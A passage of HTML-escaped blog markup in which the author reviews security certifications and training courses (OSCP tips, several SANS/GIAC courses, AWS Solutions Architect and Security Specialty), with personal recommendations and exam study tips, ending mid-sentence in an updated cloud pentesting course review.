  &lt;li&gt;I recommend going through BOTH the PWK PDF and the videos before seriously getting into the lab itself. This is what I did and I found it more comforting to know what Offsec wanted me to know vs what I needed to hunt for myself (as part of their ever-so-fun game of “try harder”).&lt;/li&gt;
  &lt;li&gt;The exam does not require any pivoting. You should absolutely practice this in the lab but won’t need it come test time.&lt;/li&gt;
  &lt;li&gt;Don’t worry about pwning every box in the lab. Getting through &lt;em&gt;X&lt;/em&gt; amount of boxes isn’t a sign that you are ready. I got through about 30 which was more than enough!&lt;/li&gt;
  &lt;li&gt;I think the OSCP is mostly a positive experience but I do think that it is very “CTF”-ey. Which is to say, less like hacking a real modern network and more like doing a series of &lt;a href=&quot;https://www.hackthebox.eu/&quot;&gt;hack-the-box&lt;/a&gt; challenges. Make the most of it though! It can be really fun if you’re in the mindset of learning rather than just “getting the cert”.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;sec504-hacker-tools-techniques-exploits-and-incident-handling-gcih-sans&quot;&gt;SEC504: Hacker Tools, Techniques, Exploits and Incident Handling (GCIH), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GCIH Obtained: December 2018&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/cyber-security-courses/hacker-techniques-exploits-incident-handling/&quot;&gt;SEC504&lt;/a&gt; is SANS most popular course. It is designed to be approachable for both semi-experienced professionals as well as to those new to the field and covers both offensive and defensive security domains. I did not actually take the course but I did challenge the &lt;a href=&quot;http://www.giac.org/certification/certified-incident-handler-gcih&quot;&gt;GCIH&lt;/a&gt; exam which accompanies the course. Personally (and again, I did not actually take the course), I &lt;strong&gt;would not recommend&lt;/strong&gt; this course as I think it tries to cover too much ground in too short of time. The course attempts to cover network attacks, incident handling, memory analysis, malware investigations, offensive tooling, network analysis, physical security, network scanning AND web application attacks… &lt;em&gt;all in 6 days&lt;/em&gt;. You get a brief intro to each of these topics (the course does have a day with a heavy focus in Incident Handling) but I don’t think it covers any of them at the depth you would want given you payed $7000+ to take the course. Of course given its popularity, if getting this cert helps you land a specific entry-level position, then absolutely go for it!&lt;/p&gt;

&lt;h3 id=&quot;sec401-security-essentials-gsec-sans&quot;&gt;SEC401: Security Essentials (GSEC), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GSEC Obtained: February 2019&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/cyber-security-courses/security-essentials-bootcamp-style/&quot;&gt;SEC401&lt;/a&gt; is SANS’ “mile wide and an inch deep” course. I like to compare its accompanying cert, the GSEC, to the popular &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP&quot;&gt;ISC2 CISSP&lt;/a&gt; certification (which I also &lt;a href=&quot;#certified-information-system-security-professional-cissp-isc2&quot;&gt;have some thoughts on&lt;/a&gt;). I did not actually take this course but I did challenge the &lt;a href=&quot;https://www.giac.org/certification/security-essentials-gsec&quot;&gt;GSEC&lt;/a&gt; exam. Given the price, I &lt;strong&gt;don’t think I can really recommend&lt;/strong&gt; this course. If you’re interested in getting a lay-of-the-(infosec)-land, I recommend looking into some free “intro to security” courses online or even looking at study books for the &lt;a href=&quot;https://www.comptia.org/certifications/security&quot;&gt;Security+&lt;/a&gt; or &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP&quot;&gt;CISSP&lt;/a&gt;. Either of these should get you acquainted enough with the foundational concepts of information security. Both of these (CISSP and Sec+) are also great (cheaper) options for a certification well-respected in the industry. The GSEC certification I don’t think is going to move the needle on impressing any recruiters (no more than the Sec+ or CISSP that is) and the course material is probably easy enough to find online or via some cheap text books.&lt;/p&gt;

&lt;h3 id=&quot;sec542-web-app-penetration-testing-and-ethical-hacking-gwapt-sans&quot;&gt;SEC542: Web App Penetration Testing and Ethical Hacking (GWAPT), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GWAPT Obtained: March 2019&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This &lt;a href=&quot;https://www.sans.org/cyber-security-courses/web-app-penetration-testing-ethical-hacking/&quot;&gt;course&lt;/a&gt; is an introduction to web-application-specific penetration testing. I did not take the course but I did challenge the accompanying &lt;a href=&quot;http://www.giac.org/certification/web-application-penetration-tester-gwapt&quot;&gt;GWAPT&lt;/a&gt; certification exam. Similar to my &lt;a href=&quot;#sec560-network-penetration-testing-and-ethical-hacking-gpen-sans&quot;&gt;GPEN review&lt;/a&gt;, I &lt;strong&gt;don’t recommend&lt;/strong&gt; this course as it doesn’t provide a format conducive to really learning penetration testing. For learning penetration testing, I would recommend a more practical approach. Not that SANS doesn’t have practical exercises and in-training labs, it’s just that these labs fly by so quickly during the course of the training that you really don’t have time to fail, and failing is a great way to learn. Instead I would recommend a more practical course such as the eLearnSecurity &lt;a href=&quot;https://www.elearnsecurity.com/course/web_application_penetration_testing/&quot;&gt;WAPT&lt;/a&gt; course. With the current popularity of “bug bounty hunting” and penetration testing in general, there is certainly an abundance of free or cheap web-application hacking training material out there. The &lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;Web Security Academy&lt;/a&gt; from the famed &lt;a href=&quot;https://portswigger.net/&quot;&gt;PortSwigger&lt;/a&gt; (creator of &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt;) is just one example of this. More examples of free/cheap online training material for web application penetration testing can be found in my &lt;a href=&quot;https://shellsharks.com/online-training#web-application-security&quot;&gt;guide to free/online training&lt;/a&gt;!&lt;/p&gt;

&lt;h3 id=&quot;for610-reverse-engineering-malware-grem-sans&quot;&gt;FOR610: Reverse-Engineering Malware (GREM), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: May 2019, GREM Obtained: July 2019&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I think this course is fantastic! I took this &lt;a href=&quot;https://www.sans.org/blog/sans-for610-reverse-engineering-malware-now-with-ghidra/&quot;&gt;course&lt;/a&gt; prior to it’s adoption of &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; so I can’t speak for the new content but the instructors do a fantastic job getting through some of the trickier concepts (even for those new to the world of reverse-engineering). Unlike other SANS courses, especially penetration testing courses, I felt by the end of this training I could actually do real-world, practical, malware reverse-engineering. I should mention that prior to taking the course, I did have some background in assembly language and reverse-engineering but I still feel that anyone who dutifully gets through all of the material in this class could similarly feel ready to do some real malware reversing. For anyone interested in getting into malware reverse-engineering, I definitely recommend checking this course out. Paying full price for this class however is where I would be a little &lt;strong&gt;hesitant to recommend&lt;/strong&gt; as I do think there are &lt;a href=&quot;https://www.elearnsecurity.com/course/category-reverse-engineering&quot;&gt;cheaper options&lt;/a&gt; out there.&lt;/p&gt;

&lt;p&gt;I want to reemphasize here that you’re probably best set up to succeed having a little knowledge about assembly (specifically &lt;a href=&quot;https://shellsharks.com/intel-assembly-primer#title&quot;&gt;Intel assembly&lt;/a&gt;) prior to sitting for this course. This isn’t explicitly listed on the “Prerequisites” section for the course by SANS but having taken this class with a coworker who did not have much experience in this area, watching some of their struggles really emphasized this point. Check out my &lt;a href=&quot;https://shellsharks.com/intel-assembly-primer#title&quot;&gt;primer on intel assembly&lt;/a&gt; or dive right into &lt;a href=&quot;https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html&quot;&gt;Intel’s own manuals&lt;/a&gt; if you are interested in getting prepped!&lt;/p&gt;

&lt;h3 id=&quot;ics515-ics-active-defense-and-incident-response-grid-sans&quot;&gt;ICS515: ICS Active Defense and Incident Response (GRID), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: July 2019, GRID Obtained: November 2019&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SANS &lt;a href=&quot;https://www.sans.org/cyber-security-courses/industrial-control-system-active-defense-and-incident-response/&quot;&gt;ICS515&lt;/a&gt; is a bit of a niche course, covering incident response techniques as well as knowledge and tooling specific to &lt;a href=&quot;https://www.gartner.com/en/information-technology/glossary/operational-technology-ot&quot;&gt;OT&lt;/a&gt; environments. First, I’ll say I &lt;strong&gt;probably wouldn’t recommend&lt;/strong&gt; spending (your own) money on this course. At the point in which I took this course I had already taken 10+ SANS courses and as such, found that this course had a lot of similarities, things seemingly plucked from each of these other courses and made available in this course, albeit with a distinct ICS-flavor. There is a section on asset discovery and network security monitoring (NSM), reminiscent of both the SANS &lt;a href=&quot;https://www.sans.org/event/san-francisco-spring-2020/course/enterprise-threat-vulnerability-assessment: Threat and Vulnerability Assessment&quot;&gt;SEC460&lt;/a&gt; and SANS &lt;a href=&quot;https://www.sans.org/cyber-security-courses/intrusion-detection-in-depth/: Intrusion Detection&quot;&gt;SEC503&lt;/a&gt; courses. There is a section on Incident Response, which echoes material taught in SANS &lt;a href=&quot;https://www.sans.org/cyber-security-courses/hacker-techniques-exploits-incident-handling/ : Incident Handling&quot;&gt;SEC504&lt;/a&gt;. There is a section titled “Threat and Environment Manipulation” which focuses on ICS malware case-studies as well as malware analysis. This section contains plenty of material from SANS &lt;a href=&quot;https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/ : Reverse Engineering &amp;amp; Malware Analysis&quot;&gt;FOR610&lt;/a&gt;. The newest content to me (having not taken a course related to it) was covered in day one of the course, focusing specifically on “Threat Intelligence”. Though SANS also has a &lt;a href=&quot;https://www.sans.org/cyber-security-courses/cyber-threat-intelligence/&quot;&gt;course dedicated to threat intelligence&lt;/a&gt;, I found this introduction to threat intel, as applied to ICS environments a good primer on the subject, covering the &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/ICS/paper/36297&quot;&gt;(ICS) Cyber Kill Chain&lt;/a&gt;, &lt;a href=&quot;https://apps.nsa.gov/iaarchive/programs/iad-initiatives/active-cyber-defense.cfm&quot;&gt;Active Defense&lt;/a&gt;, Intelligence Life-Cycle, &lt;a href=&quot;https://www.recordedfuture.com/diamond-model-intrusion-analysis&quot;&gt;Diamond Model&lt;/a&gt; and more. Overall, my biggest takeaways from this course were from this first day but having a unique interest in ICS security, I found the entire course pretty fascinating, despite a lot of the material being a rehash of similar content from other courses.&lt;/p&gt;

&lt;h3 id=&quot;sec660-advanced-penetration-testing-exploit-writing-and-ethical-hacking-gxpn-sans&quot;&gt;SEC660: Advanced Penetration Testing, Exploit Writing and Ethical Hacking (GXPN), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: November 2019, GXPN Obtained: August 2020&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/ondemand/course/advanced-penetration-testing-exploits-ethical-hacking&quot;&gt;SEC660&lt;/a&gt; is SANS advanced penetration testing and intro to exploit writing course. I will echo what I have said about other SANS penetration testing courses and say that I don’t think that the format of this course is ideal for teaching penetration testing. Rapidly going lab-to-lab and lecture-to-lecture, with little time to actually practice the offensive techniques is not a great way to really learn and practice penetration testing. With that said, I do think the topics covered are really good with respect to the more advanced types of network pentesting. Where this class shines in particular is the final two days where you break into exploit writing for both Linux and Windows. Though I think the exercises are a little limited, I do think they are a great introduction to the world of exploit development for these respective platforms. I think for those interested in getting into exploit development, this is a decent place to start (though it is, as usual with SANS, an expensive option). With this said, I think “advanced network penetration testing” and “exploit development” are really two different disciplines and SANS may have been better served to separate them into two distinct courses. I think a lot of professional penetration testers don’t need to have exploit writing skills and vice versa. In the overwhelming majority of penetration testing engagements, you likely don’t have time to write your own exploits or find zero-days. Conversely though, understanding already-written exploits and thus being able to modify exploit code on the fly is a great skill for your average penetration tester.&lt;/p&gt;

&lt;p&gt;As part of this “mini-review”, I wanted to share some thoughts on the “practical” portions of the &lt;a href=&quot;https://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn&quot;&gt;GXPN&lt;/a&gt; exam. Prior to taking on this course, and during the prep-time for the certification, the (partial) practical nature of this certification was something that was always on my mind. It certainly changed the way I prepared for the exam since I knew I’d need to actually put my knowledge to actual use, rather than simply regurgitate/recall random facts/concepts as is the case with most other GIAC exams. This exam, unlike most GIAC exams (though they are &lt;a href=&quot;https://www.giac.org/blog/hands-on-real-world-testing&quot;&gt;moving more exams&lt;/a&gt; to this partially-practical format) has a small number of questions (6 in my case) which require actually remoting into a lab environment and doing some sort of actual “hacking” relevant to the course material. Knowing this, I spent much more time than I had with previous certifications (the advanced nature of the material also was a factor for time-spent studying) prepping for the exam. I expected these questions to be difficult and to be centered primarily around the exploit development/reverse-engineering (the more challenging) aspects of the course. What I found was that neither of these things ended up being true (at least in my opinion/experience). The questions were straight-forward (which is not always the case with the multiple-choice, scenario based questions you often find on GIAC exams), relatively easy and did not take that long to complete. I also was surprised to see that the majority of the questions (atleast on my instance of the exam) were not actually related to days 5 and 6 (which cover exploit writing). It’s also important to note that for those questions that were covering days 5 and 6 material, none of them were particularly in-depth. Given the time-constrained nature of the exam, the exam authors can’t expect people to be putting together full ROP chains now can they!? In short, study the material, try to really grasp the concepts for the sake of grasping the concepts - but don’t sweat the practical exam questions, they aren’t that bad!&lt;/p&gt;

&lt;h3 id=&quot;sec617-wireless-penetration-testing-and-ethical-hacking-gawn-sans&quot;&gt;SEC617: Wireless Penetration Testing and Ethical Hacking (GAWN), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GAWN Obtained: November 2020&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SANS’ advanced &lt;a href=&quot;https://www.sans.org/cyber-security-courses/wireless-penetration-testing-ethical-hacking/&quot;&gt;wireless penetration testing course&lt;/a&gt; offers an amazingly practical introduction to an array of RF technologies and how you can exploit them. This training covers traditional WiFi, DECT, ZigBee, a couple Bluetooth variants, RFID, NFC and even Software Defined Radio (at a high level). Included with the expectedly high entry fee is a box - yes, an entire BOX! - of cool hacking gadgets to use throughout the various hands on labs - bluetooth dongles, SDR, a Raspberry Pi, RFID badge cloner and more…&lt;/p&gt;

&lt;p&gt;Unfortunately for me, I took this class in 2020 - best known for being an amazingly crappy year on a global level and more specifically, infamous for the global Covid-19 pandemic. For me, this meant taking the class via SANS On-Demand. Up until then, I had never taken an on-demand course from SANS, opting instead for in-person trainings for each of the courses I had taken prior. In a vacuum, I found the on-demand format to be pretty good. The physical books are mailed to you as well as available via your SANS portal as a digital .PDF and the video lectures are pre-recorded, typically by the course author themselves as well as downloadable so you can watch them anywhere. Where the on-demand format falls short, especially for this course is with labs. In typical a classroom setting, the instructor will have set up a physical lab environment in which the students can practice their hacking skills. With a class which requires an active medium (actual ZigBee buzzing around for example) in which to hack, which is not easily delivered in virtual form, the practical components of the course proved far more difficult to exercise. Ultimately, I &lt;strong&gt;do recommend this course&lt;/strong&gt; for anyone looking to learn more about wireless hacking but I would advise that those interested hold off on taking the course until they are able to do so in a physical classroom setting.&lt;/p&gt;

&lt;h3 id=&quot;aws-certified-solutions-architect-associate&quot;&gt;AWS Certified Solutions Architect Associate&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Obtained: November 2020&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;With the help of the online training platform &lt;a href=&quot;https://acloudguru.com&quot;&gt;A Cloud Guru&lt;/a&gt;, I sat for and passed the &lt;a href=&quot;https://aws.amazon.com/certification/certified-solutions-architect-associate/&quot;&gt;AWS Certified Solutions Architect Associate&lt;/a&gt; exam. I give a lot of credit to this training platform for my success and would recommend others interested in taking this exam take a look at signing up. It’s not an overwhelmingly cheap service but it is far more economical than a lot of other training platforms (*cough* SANS *cough*) and the RoI on getting an AWS cert seems to be pretty high these days. The virtual video lectures provide both theoretical instruction as well as hands-on, practical labs that you can follow along with. The instructor, &lt;a href=&quot;https://twitter.com/kroonenburgryan?lang=en&quot;&gt;Ryan Kroonenburg&lt;/a&gt;, does a great job at walking you through the labs and alerting you if something you spin up in your AWS account would result in you seeing actual charges. The Solutions Architect curriculum is essentially just a high level speed-run of a large number of core AWS services (IAM, S3, EC2, RDS, VPC, ELB, SNS, SQS, Kinesis and Lambda to name a few of the big ones.) You’re expected to know what each of these are at a relatively good technical depth, how they interact and when you would use each of them. The exam questions are mostly scenario-based and at times can be confusing and subjective though typically you can figure out the best answer by slowly using the process of elimination to rule out certain answers that can’t be true due to some small detail contained within the question prompt or the answer itself. I also recommend those who are prepping for the exam to buy some practice exams from a site like &lt;a href=&quot;https://www.udemy.com&quot;&gt;Udemy&lt;/a&gt; as I found these very useful in just getting a feel for what the actual exam questions would be like. At 65 questions and a passing score of 720 (out of 1000), the exam doesn’t leave too much room for error so be sure to really think through each of the scenario-based questions. Given the popularity of “Cloud” in modern enterprises, taking training and picking up this certification seemed like a very good idea.&lt;/p&gt;

&lt;h3 id=&quot;aws-certified-security-specialty&quot;&gt;AWS Certified Security Specialty&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Obtained: December 2020&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Shortly after picking up the &lt;a href=&quot;#aws-certified-solutions-architect-associate&quot;&gt;solutions architect associate&lt;/a&gt;, I spun up the &lt;a href=&quot;https://acloudguru.com&quot;&gt;A Cloud Guru&lt;/a&gt; video lecture series for the &lt;a href=&quot;https://aws.amazon.com/certification/certified-security-specialty/&quot;&gt;AWS Certified Security Specialty&lt;/a&gt; and began prepping for the security specialty exam. Given this exam was more specific to “security” within AWS, and given my extensive security background, I expected this exam to actually be easier than the solutions architect. &lt;em&gt;This assumption proved mostly false&lt;/em&gt;. Yes, the exam does cover &lt;em&gt;less&lt;/em&gt; topics and services than the solutions architect exam but the understanding you must have requires quite a bit more technical depth. With this said, I do think my years of security experience came in handy with a few questions. The A Cloud Guru course covers the security aspects of S3, Identity Federation, CloudFront, CloudWatch, CloudTrail, Config, Inspector, Trusted Advisor, VPC, NAT, ELB, WAF, Shield, API Gateway, Athena, Macie, SES, Artifact and Lambda (and maybe a few more) - with a heavy, and I mean &lt;strong&gt;HEAVY&lt;/strong&gt; focus on both IAM and KMS. I found that well over half of the questions on the security specialty exam asked very challenging, scenario-based questions related to &lt;a href=&quot;https://aws.amazon.com/iam/&quot;&gt;IAM&lt;/a&gt; and &lt;a href=&quot;https://aws.amazon.com/kms/&quot;&gt;KMS&lt;/a&gt;. Overall, I thought the course from A Cloud Guru was great and I certainly learned a lot. However, having now taken (and &lt;em&gt;luckily&lt;/em&gt; PASSED) the exam, I can say that this course does not really cover all the topics needed to &lt;strong&gt;comfortably&lt;/strong&gt; pass the exam. In some cases, more depth seemed to be required, and in other cases, there was simply something not covered at all. I don’t fault A Cloud Guru though as AWS is notorious for adding more and more services and functionality to their platform all the time and the specialty exam DOES recommend that those who sit for the exam have 2 years+ experience securing workloads in AWS. So don’t expect this course to be your one-stop-shop for easily passing this exam. Listed below are some of the gaps I think the course had with respect to the exam questions I encountered as well as some other general tips for what to put emphasis on when studying.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Really understand how to read &lt;a href=&quot;https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html&quot;&gt;IAM policies&lt;/a&gt;. I found many questions asking me about very specific policy statement syntax. This was doubly true for conditional statements within these policies.&lt;/li&gt;
  &lt;li&gt;Though this is covered pretty well by the A Cloud Guru course, it deserves special mention here. REALLY understand how to &lt;a href=&quot;https://aws.amazon.com/premiumsupport/knowledge-center/cross-account-access-s3/&quot;&gt;share S3 buckets cross-account&lt;/a&gt;. You WILL get several questions asking about this.&lt;/li&gt;
  &lt;li&gt;There are a few in-depth questions on &lt;a href=&quot;https://aws.amazon.com/identity/federation/&quot;&gt;web identity federation&lt;/a&gt; not really covered well enough in the course.&lt;/li&gt;
  &lt;li&gt;Truly understand the differences between &lt;a href=&quot;https://aws.amazon.com/inspector/&quot;&gt;Inspector&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/premiumsupport/technology/trusted-advisor/&quot;&gt;Trusted Advisor&lt;/a&gt; and &lt;a href=&quot;https://aws.amazon.com/config/&quot;&gt;Config&lt;/a&gt;. You will be asked which of these is the right service for a specific objective and I found these questions somewhat challenging. I also thought Config had a particularly heavy focus.&lt;/li&gt;
  &lt;li&gt;Understand the &lt;a href=&quot;https://medium.com/awesome-cloud/aws-difference-between-cloudwatch-and-cloudtrail-16a486f8bc95&quot;&gt;relationship&lt;/a&gt; between &lt;a href=&quot;https://aws.amazon.com/cloudtrail/&quot;&gt;CloudTrail&lt;/a&gt; and &lt;a href=&quot;https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html&quot;&gt;CloudWatch Logs&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;There were some very specific questions on &lt;a href=&quot;https://aws.amazon.com/cloudhsm/&quot;&gt;CloudHSM&lt;/a&gt; I felt weren’t covered well by the course. Try to read some &lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2018/07/aws-cloudhsm-backups-can-now-be-copied-across-regions/&quot;&gt;AWS documentation on CloudHSM&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;KMS, KMS, KMS, KMS. So much &lt;a href=&quot;https://aws.amazon.com/kms/&quot;&gt;KMS&lt;/a&gt;. You will be asked &lt;em&gt;like&lt;/em&gt; 30 questions on KMS. Really understand &lt;a href=&quot;https://docs.aws.amazon.com/kms/latest/developerguide/rotate-keys.html&quot;&gt;key rotation&lt;/a&gt;, how to provision &lt;a href=&quot;https://docs.aws.amazon.com/kms/latest/developerguide/iam-policies.html&quot;&gt;access to keys&lt;/a&gt;, &lt;a href=&quot;https://docs.aws.amazon.com/kms/latest/developerguide/determining-access-key-policy.html&quot;&gt;key policies&lt;/a&gt;, administering keys and everything else to do with KMS. Read the &lt;a href=&quot;https://aws.amazon.com/kms/faqs/&quot;&gt;FAQ&lt;/a&gt;, read the &lt;a href=&quot;https://d0.awsstatic.com/whitepapers/aws-kms-best-practices.pdf&quot;&gt;whitepapers&lt;/a&gt;, read everything you can on KMS, understand &lt;a href=&quot;https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-modifying-external-accounts.html&quot;&gt;cross-account KMS access&lt;/a&gt; and &lt;a href=&quot;https://docs.aws.amazon.com/kms/latest/developerguide/grants.html&quot;&gt;KMS Grants&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;I had a question on taking memory dumps from an EC2 instance. &lt;a href=&quot;https://www.google.com/search?client=safari&amp;amp;rls=en&amp;amp;q=ssm+memory+dump+ec2&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&quot;&gt;I think SSM covers this&lt;/a&gt;. The course doesn’t get into this I don’t think.&lt;/li&gt;
  &lt;li&gt;The course covers this well, but there are a good number of questions related to &lt;a href=&quot;https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Security.html&quot;&gt;Security Groups, NACLs and Route Tables&lt;/a&gt;. Understand the in’s and out’s (&lt;em&gt;get it?&lt;/em&gt;) of these controls.&lt;/li&gt;
  &lt;li&gt;Understand &lt;a href=&quot;https://docs.aws.amazon.com/lambda/latest/dg/lambda-permissions.html&quot;&gt;Function Policies vs Execution Roles&lt;/a&gt; for Lambda.&lt;/li&gt;
  &lt;li&gt;Understand the &lt;a href=&quot;https://aws.amazon.com/blogs/security/aws-federated-authentication-with-active-directory-federation-services-ad-fs/&quot;&gt;AD Federation&lt;/a&gt; sequence.&lt;/li&gt;
  &lt;li&gt;Read up on &lt;a href=&quot;https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cnames-and-https-requirements.html&quot;&gt;using certificates with CloudFront&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With all this said, I really enjoyed the course from A Cloud Guru and though I found the exam challenging, I think the questions were relevant and a good exercise of my AWS security knowledge. Remember to take your time with scenario-based questions and really try to rule out questions based on why they CAN’T be the answer. Good luck!&lt;/p&gt;

&lt;h3 id=&quot;sec588-cloud-penetration-testing-gcpn-sans&quot;&gt;SEC588: Cloud Penetration Testing (GCPN), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GCPN Obtained: April 2021&lt;/em&gt; | &lt;em&gt;&lt;a href=&quot;#updated-gcpn-review-8272022&quot;&gt;Attended: August 2022&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: This review contains my &lt;em&gt;original&lt;/em&gt; impressions of the course, I also have an &lt;a href=&quot;#updated-gcpn-review-8272022&quot;&gt;updated review&lt;/a&gt; below.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org&quot;&gt;SANS&lt;/a&gt; continues to &lt;a href=&quot;https://www.sans.org/new-sans-courses&quot;&gt;expand their portfolio of courses&lt;/a&gt;, and within these new offerings is &lt;strong&gt;&lt;a href=&quot;https://www.sans.org/cyber-security-courses/cloud-penetration-testing/&quot;&gt;SEC588: Cloud Penetration Testing&lt;/a&gt;&lt;/strong&gt;. “Cloud penetration testing” is at a… &lt;em&gt;weird&lt;/em&gt; point in my opinion and I think this is evident in the makeup of this course. SANS does their best to differentiate how “cloud” pentesting is different than traditional network/webapp pentesting but really, there isn’t &lt;em&gt;that&lt;/em&gt; much difference and even they admit this within the course material. Sure, the course authors key in on certain things that are more effective in cloud environments for performing reconnaissance and enumeration (among a few other things), but for the most part, nothing &lt;em&gt;really&lt;/em&gt; changes here as it compares to traditional network/webapp testing. At the end of the day, you’re still using &lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt; for port scanning, &lt;a href=&quot;https://www.metasploit.com&quot;&gt;Metasploit&lt;/a&gt; for payloads, etc…&lt;/p&gt;

&lt;p&gt;Cloud native applications as defined by the &lt;a href=&quot;https://www.cncf.io&quot;&gt;CNCF&lt;/a&gt; (and as introduced by SANS) heavily leverage containers, &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-cicd.html&quot;&gt;CI/CD&lt;/a&gt; tooling, container orchestration (i.e. &lt;a href=&quot;https://kubernetes.io&quot;&gt;Kubernetes&lt;/a&gt;) and APIs/microservices. This course spends a good deal of time covering the security and pentesting aspects of these technologies. This is all great stuff but I think a full course on container pentesting - or webapp pentesting which focuses on APIs/microservices might be better than covering &lt;em&gt;all&lt;/em&gt; these topics so briefly. The course also seems to heavily favor &lt;a href=&quot;https://aws.amazon.com&quot;&gt;AWS&lt;/a&gt; instead of equally featuring other cloud providers. There is actually &lt;em&gt;one&lt;/em&gt; day where &lt;a href=&quot;https://azure.microsoft.com&quot;&gt;Azure&lt;/a&gt; is covered but this really feels like only an introduction. Oh and there’s no mention of &lt;a href=&quot;https://cloud.google.com&quot;&gt;GCP&lt;/a&gt; that I can remember at all. By the time you get to Day 5 (Exploitation and Red Team in the Cloud) the course authors really start to run out of ideas as they pivot (literally) from &lt;em&gt;attacking the cloud&lt;/em&gt; to using the cloud itself to stage attacks from (i.e. &lt;a href=&quot;https://github.com/proxycannon/proxycannon-ng&quot;&gt;proxycannon&lt;/a&gt;, cloud-based C2, &lt;a href=&quot;https://linux.die.net/man/1/socat&quot;&gt;tcp redirectors&lt;/a&gt;, etc…) Though this is &lt;em&gt;really cool&lt;/em&gt; stuff for sure, I think it makes more sense for a &lt;a href=&quot;#sans-sec564-red-team-operations-and-threat-emulation&quot;&gt;course on red-teaming&lt;/a&gt; (still waiting on the 6-day redteaming course from SANS!) than it does a cloud pentesting course.&lt;/p&gt;

&lt;p&gt;Overall, I feel this course introduces a lot of interesting topics but doesn’t cover any at a technical depth that I think they could have in 5 days had they taken out some of the unnecessary things and focused a little more on core material. In the end, I did enjoy the course and &lt;em&gt;was&lt;/em&gt; able to achieve the &lt;a href=&quot;https://www.giac.org/certification/cloud-penetration-tester-gcpn&quot;&gt;GCPN certification&lt;/a&gt; but I &lt;strong&gt;don’t think I would recommend&lt;/strong&gt; this course to others at this time. Instead, I would suggest those who are interested in learning more about cloud penetration testing take a look at some books on the subject (for example, &lt;a href=&quot;https://www.amazon.com/AWS-Penetration-Testing-Beginners-Metasploit/dp/1839216921&quot;&gt;AWS Penetration Testing&lt;/a&gt;), blog posts or other &lt;a href=&quot;https://rhinosecuritylabs.com/cloud-security/aws-security-vulnerabilities-perspective/&quot;&gt;offensive cloud research&lt;/a&gt; that is only a &lt;a href=&quot;https://www.google.com/?q=cloud%20penetration%20testing&quot;&gt;quick google search&lt;/a&gt; away.&lt;/p&gt;

&lt;h6 id=&quot;updated-gcpn-review-8272022&quot;&gt;Updated GCPN Review (8/27/2022)&lt;/h6&gt;

&lt;p&gt;I had the opportunity to re-take &lt;a href=&quot;https://www.sans.org/cyber-security-courses/cloud-penetration-testing/&quot;&gt;this class&lt;/a&gt;, serving as a virtual Teaching Assistant (&lt;strong&gt;vTA&lt;/strong&gt;) and I felt a re-review was warranted. Though this class is still &lt;em&gt;definitely&lt;/em&gt; a mile-wide and an inch-deep in the context of cloud security / pentesting / etc… I think a lot of really great updates have been made since I &lt;a href=&quot;#sec588-cloud-penetration-testing-gcpn-sans&quot;&gt;first sat for the course&lt;/a&gt;. When I first took the course, I believe I did the &lt;a href=&quot;https://www.sans.org/ondemand/&quot;&gt;SANS OnDemand&lt;/a&gt; version, whereas this time I took it via the &lt;a href=&quot;https://www.sans.org/mlp/live-online-training/&quot;&gt;Live Online&lt;/a&gt; format which has the added bonus of being taught &lt;em&gt;live&lt;/em&gt;, in this case by the course author himself, &lt;a href=&quot;https://www.sans.org/profiles/moses-frost/&quot;&gt;Moses Frost&lt;/a&gt;. &lt;a href=&quot;https://www.sans.org/cyber-security-courses/&quot;&gt;SANS courses&lt;/a&gt; are &lt;em&gt;always&lt;/em&gt; good and I can’t express enough how impressed I always am with the &lt;a href=&quot;https://www.sans.org/profiles/instructors/&quot;&gt;instructors&lt;/a&gt;. They’re of course knowledgeable about the subjects they teach, but moreso they always come prepared with a world of experience and anecdotes about their relevant time as a practictioner in the domain at hand. What you come away with in the end is not only a better grasp on the material, but 